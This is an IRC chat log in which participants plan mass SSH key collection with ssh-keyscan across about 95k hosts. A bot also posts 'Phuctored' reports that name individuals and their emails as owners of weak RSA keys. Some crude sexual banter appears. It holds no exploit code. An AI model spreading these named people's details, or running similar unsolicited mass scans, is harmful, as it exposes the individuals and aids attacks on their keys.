Framedragger: i'm now running the reliable but slower ssh-keyscan on the 95k ssh-running IPs just to get a decent sample. will later revisit wtf zmap is doing [22:04]
mircea_popescu: open source stack o' shit for the love o' christ. [22:05]
Framedragger: hum, no girl ever sucking licking my well-shaven balls :/ [22:05]
mircea_popescu: how many did you ask ? [22:05]
Framedragger: *ever liked [22:05]
Framedragger: uh, < 15 for sure, so yeah [22:06]
mircea_popescu: zmap plox. [22:06]
Framedragger: < 11 [22:06]
* Framedragger halts sad memory recollection [22:06]
mircea_popescu: in other news, there's just enough ipv4 to address every chick out there. [22:07]
Framedragger: so what you're saying is there's no ip exhaustion crisis at all! [22:07]
mircea_popescu: only for gay ppl. [22:07]
Framedragger: something something "gay ppl have to use [udp] holepunching (to get through NATs)" [22:09]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Vincent Thenhart <email_vincent@web.de> Vincent Thenhart <vincent.thenhart@piraten-rlp.de> ' - http://phuctor.nosuchlabs.com/gpgkey/3AA58F9BF28C0A4F3A8450E3194CC86A946D9B6A49E362AFCFFA950F72894DBB [22:26]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Carl Christoph Leimbrock <christoph.leimbrock@gmx.de> ' - http://phuctor.nosuchlabs.com/gpgkey/41CE4AD52DCCD849DEFF2F8EF2F59A5563DEF92184DA02E60743A44F38C9BDE4 [22:26]
deedbot: [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Thomas Weitzel <tweitzel@synformation.com> ' - http://phuctor.nosuchlabs.com/gpgkey/9B870E23ED01741E0A587BEFDC1F1988A18C079AFE2F2DA62392548B9A36A4F8 [22:26]
Framedragger: mircea_popescu: asciilifeform: in regards to ssh key spidering, it's best then to produce output in the form of e,N,comment - is that right? (where comment in this case would be the ip addr) [23:00]
asciilifeform: Framedragger: yes, because this is easiest to convert later to whatever form [23:00]
asciilifeform: http://btcbase.org/log/2016-05-22#1470382 << srsly, you don't care that '3' is found in some 234323454329489858734587372586775363478 ? [23:00]
a111: Logged on 2016-05-22 02:00 mircea_popescu: http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use " [23:00]
asciilifeform: whole-word boundaries at the very least, is sane. [23:01]
Framedragger: asciilifeform: k. fwiw conversion from openssh PEM'd format to e,N,ip is easy enough: http://wotpaste.cascadianhacker.com/pastes/65ffd4c7-1a6c-4015-9a24-3e63f90eaacc/ [23:02]
Framedragger: so that part's covered. [23:03]
asciilifeform: neat [23:03]
asciilifeform: the unfortunate bit is that i am not quite yet equipped to do anything with this. [23:03]
Framedragger: i guess i'll give the results in that format for those 95k ssh hosts (actual number of keys will be lower, i can see that some of those hosts are providing clients a nil set of encryption mechanisms, etc etc [23:04]
Framedragger: no worries - actual scanning progress will apparently be slow anyway.. [23:05]
asciilifeform: http://btcbase.org/log/2016-05-22#1470380 << it is bothering me greatly that i have nfi why any 4294967297's remained to be nailed [23:06]
a111: Logged on 2016-05-22 01:57 mircea_popescu: http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it. [23:06]
asciilifeform: considering that we had a 10mil*p 8ball in play prior to today [23:06]
asciilifeform: http://btcbase.org/log-search?q=4294967297 [23:08]
asciilifeform: ( for anyone who forgot, 4294967297 == 2^32 + 1 ) [23:09]
mircea_popescu: asciilifeform well, if it gets to be too much we might start caring. in principle it should NEVEr be found mind [23:45]
asciilifeform: i want to know where the hell it was before... [23:46]
mircea_popescu: ikr ? [23:46]
mircea_popescu: Framedragger a sample sorta thing works to have what to get things going with but in general, just do and deliver the whole bunch [23:46]
asciilifeform: btw, what's deedbot's polling interval ? [23:47]
asciilifeform: i think it missed some [23:47]
mircea_popescu: hour iirc ? [23:47]
asciilifeform: hm [23:47]
mircea_popescu: anyway, re the mysterious reappearing 4bn : this is kinda why it's best to err on the side of verbosity a little. if it gets tedious we can cut it back later. [23:47]
mircea_popescu: you should see eulora server logs, 100+mb/day [23:47]
mircea_popescu: Framedragger iirc ssh pubkeys also include an email do they not ? [23:49]
mircea_popescu: in any case for ssh collection ip should be prepended to whatever comment's available. [23:49]
mircea_popescu: http://phuctor.nosuchlabs.com/stats << "moduli broken : 228", up 10% from last month :p [23:53]
mircea_popescu: asciilifeform how about we add a credits page, move bernstein there, also add phf for keybase spidering, jurov for github spidering, others as may be ? also theory prolly should be rewritten [23:55]
asciilifeform: yeah right now it is all in the very threadbare theory pg [23:55]
mircea_popescu: lemme write a coupla drafts. [23:55]
asciilifeform: worx [23:55]
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